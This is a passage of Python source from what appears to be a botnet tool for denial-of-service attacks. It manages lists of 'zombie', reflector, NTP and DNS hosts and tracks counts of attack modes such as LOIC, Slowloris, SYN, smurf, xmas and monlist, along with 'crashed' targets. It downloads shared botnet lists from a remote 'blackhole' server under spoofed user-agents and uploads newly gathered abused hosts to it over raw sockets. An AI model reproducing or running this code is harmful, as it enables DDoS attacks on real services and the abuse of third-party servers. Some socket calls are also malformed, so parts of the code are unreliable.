  1227. traceback.print_exc()
  1228. return #sys.exit(2)
  1229. # starting new zombie thread
  1230. def connect_zombies(self, zombie):
  1231. z=Zombie(self, zombie)
  1232. t = threading.Thread(target=z.connect, name=zombie)
  1233. t.start()
  1234. # single connection handling
  1235. def connect_zombie(self, zombie):
  1236. z=Zombie(self,zombie)
  1237. return z.connect()
  1238. def extract_proxy(self, proxy):
  1239. sep = ":"
  1240. proxy_ip = proxy.rsplit(sep, 1)[0]
  1241. if proxy_ip.startswith('http://'):
  1242. proxy_ip = proxy_ip.replace('http://', '')
  1243. elif proxy_ip.startswith('https://'):
  1244. proxy_ip = proxy_ip.replace('https://', '')
  1245. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1246. proxy_ip = 'localhost'
  1247. proxy_port = proxy.rsplit(sep, 1)[1]
  1248. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1249. return proxy_url
  1250. def proxy_transport(self, proxy):
  1251. proxy_url = self.extract_proxy(proxy)
  1252. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1253. opener = urllib.request.build_opener(proxy)
  1254. urllib.request.install_opener(opener)
  1255. def check_mothership_chargo(self):
  1256. f = open(self.zombies_file)
  1257. self.zombies = f.readlines()
  1258. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1259. self.list_zombies = []
  1260. for zombie in self.zombies:
  1261. t = urlparse(zombie)
  1262. name_zombie = t.netloc
  1263. if name_zombie == "":
  1264. name_zombie = zombie
  1265. self.list_zombies.append(name_zombie)
  1266. self.num_zombies = str(len(self.zombies))
  1267. f.close()
  1268. f = open(self.aliens_file)
  1269. self.aliens = f.readlines()
  1270. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1271. self.list_aliens = []
  1272. for alien in self.aliens:
  1273. t = urlparse(alien)
  1274. name_alien = t.netloc
  1275. if name_alien == "":
  1276. name_alien = alien
  1277. self.list_aliens.append(name_alien)
  1278. self.num_aliens = str(len(self.aliens))
  1279. f.close()
  1280. f = open(self.droids_file)
  1281. self.droids = f.readlines()
  1282. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1283. self.list_droids = []
  1284. for droid in self.droids:
  1285. t = urlparse(droid)
  1286. name_droid = t.netloc
  1287. if name_droid == "":
  1288. name_droid = droid
  1289. self.list_droids.append(name_droid)
  1290. self.num_droids = str(len(self.droids))
  1291. f.close()
  1292. f = open(self.ucavs_file)
  1293. self.ucavs = f.readlines()
  1294. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1295. self.list_ucavs = []
  1296. for ucav in self.ucavs:
  1297. t = urlparse(ucav)
  1298. name_ucav = t.netloc
  1299. if name_ucav == "":
  1300. name_ucav = ucav
  1301. self.list_ucavs.append(name_ucav)
  1302. self.num_ucavs = str(len(self.ucavs))
  1303. f.close()
  1304. f = open(self.rpcs_file)
  1305. self.rpcs = f.readlines()
  1306. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1307. self.list_rpcs = []
  1308. for rpc in self.rpcs:
  1309. t = urlparse(rpc)
  1310. name_rpc = t.netloc
  1311. if name_rpc == "":
  1312. name_rpc = rpc
  1313. self.list_rpcs.append(name_rpc)
  1314. self.num_rpcs = str(len(self.rpcs))
  1315. f.close()
  1316. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1317. return self.total_botnet
  1318. def update_flying_stats(self):
  1319. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1320. with open(self.mothership_stats_file, "w") as f:
  1321. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset
  1322. stats_json_file = open(self.mothership_stats_file, "r")
  1323. data = json.load(stats_json_file)
  1324. stats_json_file.close()
  1325. aflying = data["flying"]
  1326. aflying = str(int(aflying) + 1) # add new flying time
  1327. data["flying"] = aflying
  1328. stats_json_file = open(self.mothership_stats_file, "w+")
  1329. stats_json_file.write(json.dumps(data))
  1330. stats_json_file.close()
  1331. def update_mothership_stats(self):
  1332. stats_json_file = open(self.mothership_stats_file, "r")
  1333. data = json.load(stats_json_file)
  1334. stats_json_file.close()
  1335. acompleted = data["completed"]
  1336. acompleted = str(int(acompleted) + 1) # add new completed attack
  1337. data["completed"] = acompleted
  1338. stats_json_file = open(self.mothership_stats_file, "w+")
  1339. stats_json_file.write(json.dumps(data))
  1340. stats_json_file.close()
  1341. def update_targets_crashed(self):
  1342. stats_json_file = open(self.mothership_stats_file, "r")
  1343. data = json.load(stats_json_file)
  1344. stats_json_file.close()
  1345. tcrashed = data["crashed"]
  1346. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1347. data["crashed"] = tcrashed
  1348. stats_json_file = open(self.mothership_stats_file, "w+")
  1349. stats_json_file.write(json.dumps(data))
  1350. stats_json_file.close()
  1351. def update_missions_stats(self):
  1352. stats_json_file = open(self.mothership_stats_file, "r")
  1353. data = json.load(stats_json_file)
  1354. stats_json_file.close()
  1355. missions = data["missions"]
  1356. missions = str(int(missions) + 1) # add new mission target
  1357. data["missions"] = missions
  1358. stats_json_file = open(self.mothership_stats_file, "w+")
  1359. stats_json_file.write(json.dumps(data))
  1360. stats_json_file.close()
  1361. def update_scanner_stats(self, num):
  1362. stats_json_file = open(self.mothership_stats_file, "r")
  1363. data = json.load(stats_json_file)
  1364. stats_json_file.close()
  1365. scanner = data["scanner"]
  1366. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1367. data["scanner"] = scanner
  1368. stats_json_file = open(self.mothership_stats_file, "w+")
  1369. stats_json_file.write(json.dumps(data))
  1370. stats_json_file.close()
  1371. def update_transferred_stats(self, num):
  1372. stats_json_file = open(self.mothership_stats_file, "r")
  1373. data = json.load(stats_json_file)
  1374. stats_json_file.close()
  1375. transferred = data["transferred"]
  1376. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1377. data["transferred"] = transferred
  1378. stats_json_file = open(self.mothership_stats_file, "w+")
  1379. stats_json_file.write(json.dumps(data))
  1380. stats_json_file.close()
  1381. def update_max_chargo(self, chargo):
  1382. stats_json_file = open(self.mothership_stats_file, "r")
  1383. data = json.load(stats_json_file)
  1384. stats_json_file.close()
  1385. amax_chargo = data["max_chargo"]
  1386. if int(chargo) > int(amax_chargo): # new max chargo found
  1387. amax_chargo = chargo # add new max chargo
  1388. else:
  1389. amax_chargo = data["max_chargo"]
  1390. data["max_chargo"] = amax_chargo
  1391. stats_json_file = open(self.mothership_stats_file, "w+")
  1392. stats_json_file.write(json.dumps(data))
  1393. stats_json_file.close()
  1394. def update_loic_stats(self):
  1395. stats_json_file = open(self.mothership_stats_file, "r")
  1396. data = json.load(stats_json_file)
  1397. stats_json_file.close()
  1398. aloic = data["loic"]
  1399. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1400. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1401. data["loic"] = aloic
  1402. stats_json_file = open(self.mothership_stats_file, "w+")
  1403. stats_json_file.write(json.dumps(data))
  1404. stats_json_file.close()
  1405. def update_loris_stats(self):
  1406. stats_json_file = open(self.mothership_stats_file, "r")
  1407. data = json.load(stats_json_file)
  1408. stats_json_file.close()
  1409. aloris = data["loris"]
  1410. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1411. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1412. data["loris"] = aloris
  1413. stats_json_file = open(self.mothership_stats_file, "w+")
  1414. stats_json_file.write(json.dumps(data))
  1415. stats_json_file.close()
  1416. def update_ufosyn_stats(self):
  1417. stats_json_file = open(self.mothership_stats_file, "r")
  1418. data = json.load(stats_json_file)
  1419. stats_json_file.close()
  1420. aufosyn = data["ufosyn"]
  1421. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1422. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1423. data["ufosyn"] = aufosyn
  1424. stats_json_file = open(self.mothership_stats_file, "w+")
  1425. stats_json_file.write(json.dumps(data))
  1426. stats_json_file.close()
  1427. def update_spray_stats(self):
  1428. stats_json_file = open(self.mothership_stats_file, "r")
  1429. data = json.load(stats_json_file)
  1430. stats_json_file.close()
  1431. aspray = data["spray"]
  1432. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1433. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1434. data["spray"] = aspray
  1435. stats_json_file = open(self.mothership_stats_file, "w+")
  1436. stats_json_file.write(json.dumps(data))
  1437. stats_json_file.close()
  1438. def update_smurf_stats(self):
  1439. stats_json_file = open(self.mothership_stats_file, "r")
  1440. data = json.load(stats_json_file)
  1441. stats_json_file.close()
  1442. asmurf = data["smurf"]
  1443. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1444. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1445. data["smurf"] = asmurf
  1446. stats_json_file = open(self.mothership_stats_file, "w+")
  1447. stats_json_file.write(json.dumps(data))
  1448. stats_json_file.close()
  1449. def update_xmas_stats(self):
  1450. stats_json_file = open(self.mothership_stats_file, "r")
  1451. data = json.load(stats_json_file)
  1452. stats_json_file.close()
  1453. axmas = data["xmas"]
  1454. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1455. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1456. data["xmas"] = axmas
  1457. stats_json_file = open(self.mothership_stats_file, "w+")
  1458. stats_json_file.write(json.dumps(data))
  1459. stats_json_file.close()
  1460. def update_nuke_stats(self):
  1461. stats_json_file = open(self.mothership_stats_file, "r")
  1462. data = json.load(stats_json_file)
  1463. stats_json_file.close()
  1464. anuke = data["nuke"]
  1465. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1466. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1467. data["nuke"] = anuke
  1468. stats_json_file = open(self.mothership_stats_file, "w+")
  1469. stats_json_file.write(json.dumps(data))
  1470. stats_json_file.close()
  1471. def update_tachyon_stats(self):
  1472. stats_json_file = open(self.mothership_stats_file, "r")
  1473. data = json.load(stats_json_file)
  1474. stats_json_file.close()
  1475. atachyon = data["tachyon"]
  1476. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1477. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1478. data["tachyon"] = atachyon
  1479. stats_json_file = open(self.mothership_stats_file, "w+")
  1480. stats_json_file.write(json.dumps(data))
  1481. stats_json_file.close()
  1482. def update_monlist_stats(self):
  1483. stats_json_file = open(self.mothership_stats_file, "r")
  1484. data = json.load(stats_json_file)
  1485. stats_json_file.close()
  1486. amonlist = data["monlist"]
  1487. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1488. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1489. data["monlist"] = amonlist
  1490. stats_json_file = open(self.mothership_stats_file, "w+")
  1491. stats_json_file.write(json.dumps(data))
  1492. stats_json_file.close()
  1493. def uploading_list(self):
  1494. from io import BytesIO
  1495. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1496. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1497. abductions = "botnet/abductions.txt.gz"
  1498. troops = "botnet/troops.txt.gz"
  1499. robots = "botnet/robots.txt.gz"
  1500. drones = "botnet/drones.txt.gz"
  1501. reflectors = "botnet/reflectors.txt.gz"
  1502. crystals = "botnet/crystals.txt.gz"
  1503. warps = "botnet/warps.txt.gz"
  1504. if self.options.timeout: # set timeout
  1505. try:
  1506. timeout = int(self.options.timeout)
  1507. except:
  1508. timeout = 5
  1509. else:
  1510. timeout = 5
  1511. if timeout < 1:
  1512. timeout = 5
  1513. try:
  1514. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1515. if self.options.forcessl:
  1516. if self.options.proxy: # set proxy
  1517. self.proxy_transport(options.proxy)
  1518. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1519. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1520. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1521. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1522. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1523. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1524. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1525. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1526. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1527. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1528. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1529. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1530. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1531. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1532. else:
  1533. if self.options.proxy: # set proxy
  1534. self.proxy_transport(options.proxy)
  1535. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1536. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1537. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1538. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1539. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1540. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1541. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1542. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1543. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1544. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1545. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1546. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1547. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1548. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1549. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  1550. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1551. print('-'*12 + '\n')
  1552. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1553. return
  1554. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1555. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1556. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1557. f_out_abductions.write(f_in_abductions.read())
  1558. f_in_abductions.close()
  1559. f_out_abductions.close()
  1560. num_zombies = 0
  1561. with open('botnet/abductions.txt') as f:
  1562. for _ in f:
  1563. num_zombies = num_zombies + 1
  1564. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1565. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1566. f_out_robots = open('botnet/robots.txt', 'wb')
  1567. f_out_robots.write(f_in_robots.read())
  1568. f_in_robots.close()
  1569. f_out_robots.close()
  1570. num_robots = 0
  1571. with open('botnet/robots.txt') as f:
  1572. for _ in f:
  1573. num_robots = num_robots + 1
  1574. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1575. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1576. f_out_troops = open('botnet/troops.txt', 'wb')
  1577. f_out_troops.write(f_in_troops.read())
  1578. f_in_troops.close()
  1579. f_out_troops.close()
  1580. num_aliens = 0
  1581. with open('botnet/aliens.txt') as f:
  1582. for _ in f:
  1583. num_aliens = num_aliens + 1
  1584. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1585. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1586. f_out_drones = open('botnet/drones.txt', 'wb')
  1587. f_out_drones.write(f_in_drones.read())
  1588. f_in_drones.close()
  1589. f_out_drones.close()
  1590. num_drones = 0
  1591. with open('botnet/drones.txt') as f:
  1592. for _ in f:
  1593. num_drones = num_drones + 1
  1594. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1595. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1596. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1597. f_out_reflectors.write(f_in_reflectors.read())
  1598. f_in_reflectors.close()
  1599. f_out_reflectors.close()
  1600. num_reflectors = 0
  1601. with open('botnet/reflectors.txt') as f:
  1602. for _ in f:
  1603. num_reflectors = num_reflectors + 1
  1604. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1605. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1606. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1607. f_out_crystals.write(f_in_crystals.read())
  1608. f_in_crystals.close()
  1609. f_out_crystals.close()
  1610. num_crystals = 0
  1611. with open('botnet/crystals.txt') as f:
  1612. for _ in f:
  1613. num_crystals = num_crystals + 1
  1614. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1615. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1616. f_out_warps = open('botnet/warps.txt', 'wb')
  1617. f_out_warps.write(f_in_warps.read())
  1618. f_in_warps.close()
  1619. f_out_warps.close()
  1620. num_warps = 0
  1621. with open('botnet/warps.txt') as f:
  1622. for _ in f:
  1623. num_warps = num_warps + 1
  1624. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1625. print('-'*12 + '\n')
  1626. if not self.options.forceyes:
  1627. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1628. print('-'*25)
  1629. else:
  1630. update_reply = "Y"
  1631. if update_reply == "n" or update_reply == "N":
  1632. os.remove('botnet/abductions.txt') # remove abductions file
  1633. os.remove('botnet/troops.txt') # remove troops file
  1634. os.remove('botnet/robots.txt') # remove robots file
  1635. os.remove('botnet/drones.txt') # remove drones file
  1636. os.remove('botnet/reflectors.txt') # remove reflectors file
  1637. os.remove('botnet/crystals.txt') # remove crystals file
  1638. os.remove('botnet/warps.txt') # remove warps file
  1639. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  1640. return
  1641. else:
  1642. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  1643. print('='*35)
  1644. zombies = self.extract_zombies()
  1645. if not zombies:
  1646. return
  1647. test = self.testing(zombies)
  1648. zombies_community = []
  1649. zombies_added = 0
  1650. f = open('botnet/abductions.txt')
  1651. abductions = f.readlines()
  1652. abductions = [abduction.strip() for abduction in abductions]
  1653. f.close()
  1654. fz = open(self.zombies_file)
  1655. zombies = fz.readlines()
  1656. zombies = [zombie.strip() for zombie in zombies]
  1657. fz.close()
  1658. for zombie in zombies:
  1659. if zombie not in abductions:
  1660. zombies_community.append(zombie)
  1661. zombies_added = zombies_added + 1
  1662. else:
  1663. pass
  1664. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1665. aliens = self.extract_aliens()
  1666. if not aliens:
  1667. return
  1668. aliens_community = []
  1669. aliens_added = 0
  1670. f = open('botnet/troops.txt')
  1671. troops = f.readlines()
  1672. troops = [troop.strip() for troop in troops]
  1673. f.close()
  1674. fz = open(self.aliens_file)
  1675. aliens = fz.readlines()
  1676. aliens = [alien.strip() for alien in aliens]
  1677. fz.close()
  1678. for alien in aliens:
  1679. if alien not in troops:
  1680. aliens_community.append(alien)
  1681. aliens_added = aliens_added + 1
  1682. else:
  1683. pass
  1684. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1685. droids = self.extract_droids()
  1686. if not droids:
  1687. return
  1688. droids_community = []
  1689. droids_added = 0
  1690. f = open('botnet/robots.txt')
  1691. robots = f.readlines()
  1692. robots = [robot.strip() for robot in robots]
  1693. f.close()
  1694. fz = open(self.droids_file)
  1695. droids = fz.readlines()
  1696. droids = [droid.strip() for droid in droids]
  1697. fz.close()
  1698. for droid in droids:
  1699. if droid not in robots:
  1700. droids_community.append(droid)
  1701. droids_added = droids_added + 1
  1702. else:
  1703. pass
  1704. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1705. ucavs = self.extract_ucavs()
  1706. if not ucavs:
  1707. return
  1708. ucavs_community = []
  1709. ucavs_added = 0
  1710. f = open('botnet/drones.txt')
  1711. drones = f.readlines()
  1712. drones = [drone.strip() for drone in drones]
  1713. f.close()
  1714. fz = open(self.ucavs_file)
  1715. ucavs = fz.readlines()
  1716. ucavs = [ucav.strip() for ucav in ucavs]
  1717. fz.close()
  1718. for ucav in ucavs:
  1719. if ucav not in drones:
  1720. ucavs_community.append(ucav)
  1721. ucavs_added = ucavs_added + 1
  1722. else:
  1723. pass
  1724. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1725. rpcs = self.extract_rpcs()
  1726. if not rpcs:
  1727. return
  1728. rpcs_community = []
  1729. rpcs_added = 0
  1730. f = open('botnet/reflectors.txt')
  1731. reflectors = f.readlines()
  1732. reflectors = [reflector.strip() for reflector in reflectors]
  1733. f.close()
  1734. fz = open(self.rpcs_file)
  1735. rpcs = fz.readlines()
  1736. rpcs = [rpc.strip() for rpc in rpcs]
  1737. fz.close()
  1738. for rpc in rpcs:
  1739. if rpc not in reflectors:
  1740. rpcs_community.append(rpc)
  1741. rpcs_added = rpcs_added + 1
  1742. else:
  1743. pass
  1744. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1745. ntps = self.extract_ntps()
  1746. if not ntps:
  1747. return
  1748. ntps_community = []
  1749. ntps_added = 0
  1750. f = open('botnet/crystals.txt')
  1751. crystals = f.readlines()
  1752. crystals = [crystal.strip() for crystal in crystals]
  1753. f.close()
  1754. fz = open(self.ntps_file)
  1755. ntps = fz.readlines()
  1756. ntps = [ntp.strip() for ntp in ntps]
  1757. fz.close()
  1758. for ntp in ntps:
  1759. if ntp not in crystals:
  1760. ntps_community.append(ntp)
  1761. ntps_added = ntps_added + 1
  1762. else:
  1763. pass
  1764. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  1765. dnss = self.extract_dnss()
  1766. if not dnss:
  1767. return
  1768. dnss_community = []
  1769. dnss_added = 0
  1770. f = open('botnet/warps.txt')
  1771. warps = f.readlines()
  1772. warps = [warp.strip() for warp in warps]
  1773. f.close()
  1774. fz = open(self.dnss_file)
  1775. dnss = fz.readlines()
  1776. dnss = [dns.strip() for dns in dnss]
  1777. fz.close()
  1778. for dns in dnss:
  1779. if dns not in warps:
  1780. dnss_community.append(dns)
  1781. dnss_added = dnss_added + 1
  1782. else:
  1783. pass
  1784. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  1785. print('-'*12 + '\n')
  1786. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie
  1787. os.remove('botnet/abductions.txt') # remove abductions file
  1788. os.remove('botnet/troops.txt') # remove troops file
  1789. os.remove('botnet/robots.txt') # remove robots file
  1790. os.remove('botnet/drones.txt') # remove ucavs file
  1791. os.remove('botnet/reflectors.txt') # remove rpcs file
  1792. os.remove('botnet/crystals.txt') # remove crystals file
  1793. os.remove('botnet/warps.txt') # remove warps file
  1794. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1795. return
  1796. else:
  1797. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  1798. for zombie in zombies_community:
  1799. fc.write(zombie.strip()+"\n")
  1800. fc.close()
  1801. os.remove('botnet/abductions.txt') # remove abductions file
  1802. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  1803. for alien in aliens_community:
  1804. fc.write(alien.strip()+"\n")
  1805. fc.close()
  1806. os.remove('botnet/troops.txt') # remove troops file
  1807. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  1808. for droid in droids_community:
  1809. fc.write(droid.strip()+"\n")
  1810. fc.close()
  1811. os.remove('botnet/robots.txt') # remove robots file
  1812. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  1813. for ucav in ucavs_community:
  1814. fc.write(ucav.strip()+"\n")
  1815. fc.close()
  1816. os.remove('botnet/drones.txt') # remove drones file
  1817. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  1818. for rpc in rpcs_community:
  1819. fc.write(rpc.strip()+"\n")
  1820. fc.close()
  1821. os.remove('botnet/reflectors.txt') # remove reflectors file
  1822. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  1823. for ntp in ntps_community:
  1824. fc.write(ntp.strip()+"\n")
  1825. fc.close()
  1826. os.remove('botnet/crystals.txt') # remove crystals file
  1827. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  1828. for dns in dnss_community:
  1829. fc.write(dns.strip()+"\n")
  1830. fc.close()
  1831. os.remove('botnet/warps.txt') # remove warps file
  1832. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1833. try: # open a socket and send data to the blackhole reciever port
  1834. host = self.blackhole
  1835. cport = 9991
  1836. mport = 9990
  1837. try:
  1838. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1839. cs.connect(host, cport)
  1840. cs.send("SEND " + 'community_zombies.txt.gz')
  1841. cs.close()
  1842. f = open('botnet/community_zombies.txt.gz', "rb")
  1843. data = f.read()
  1844. f.close()
  1845. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1846. ms.connect(host, mport)
  1847. ms.send(data)
  1848. ms.close()
  1849. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1850. time.sleep(1)
  1851. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1852. cs.connect(host, cport)
  1853. cs.send("SEND " + 'community_aliens.txt.gz')
  1854. cs.close()
  1855. f = open('botnet/community_aliens.txt.gz', "rb")
  1856. data = f.read()
  1857. f.close()
  1858. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1859. ms.connect(host, mport)
  1860. ms.send(data)
  1861. ms.close()
  1862. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1863. time.sleep(1)
  1864. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1865. cs.connect(host, cport)
  1866. cs.send("SEND " + 'community_robots.txt.gz')
  1867. cs.close()
  1868. f = open('botnet/community_droids.txt.gz', "rb")
  1869. data = f.read()
  1870. f.close()
  1871. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1872. ms.connect(host, mport)
  1873. ms.send(data)
  1874. ms.close()
  1875. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  1876. time.sleep(1)
  1877. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1878. cs.connect(host, cport)
  1879. cs.send("SEND " + 'community_ucavs.txt.gz')
  1880. cs.close()
  1881. f = open('botnet/community_ucavs.txt.gz', "rb")
  1882. data = f.read()
  1883. f.close()
  1884. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1885. ms.connect(host, mport)
  1886. ms.send(data)
  1887. ms.close()
  1888. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1889. time.sleep(1)
  1890. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1891. cs.connect(host, cport)
  1892. cs.send("SEND " + 'community_rpcs.txt.gz')
  1893. cs.close()
  1894. f = open('botnet/community_rpcs.txt.gz', "rb")
  1895. data = f.read()
  1896. f.close()
  1897. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1898. ms.connect(host, mport)
  1899. ms.send(data)
  1900. ms.close()
  1901. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1902. time.sleep(1)
  1903. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1904. cs.connect(host, cport)
  1905. cs.send("SEND " + 'community_ntps.txt.gz')
  1906. cs.close()
  1907. f = open('botnet/community_ntps.txt.gz', "rb")
  1908. data = f.read()
  1909. f.close()
  1910. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1911. ms.connect(host, mport)
  1912. ms.send(data)
  1913. ms.close()
  1914. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  1915. time.sleep(1)
  1916. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1917. cs.connect(host, cport)
  1918. cs.send("SEND " + 'community_dnss.txt.gz')
  1919. cs.close()
  1920. f = open('botnet/community_dnss.txt.gz', "rb")
  1921. data = f.read()
  1922. f.close()
  1923. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1924. ms.connect(host, mport)
  1925. ms.send(data)
  1926. ms.close()
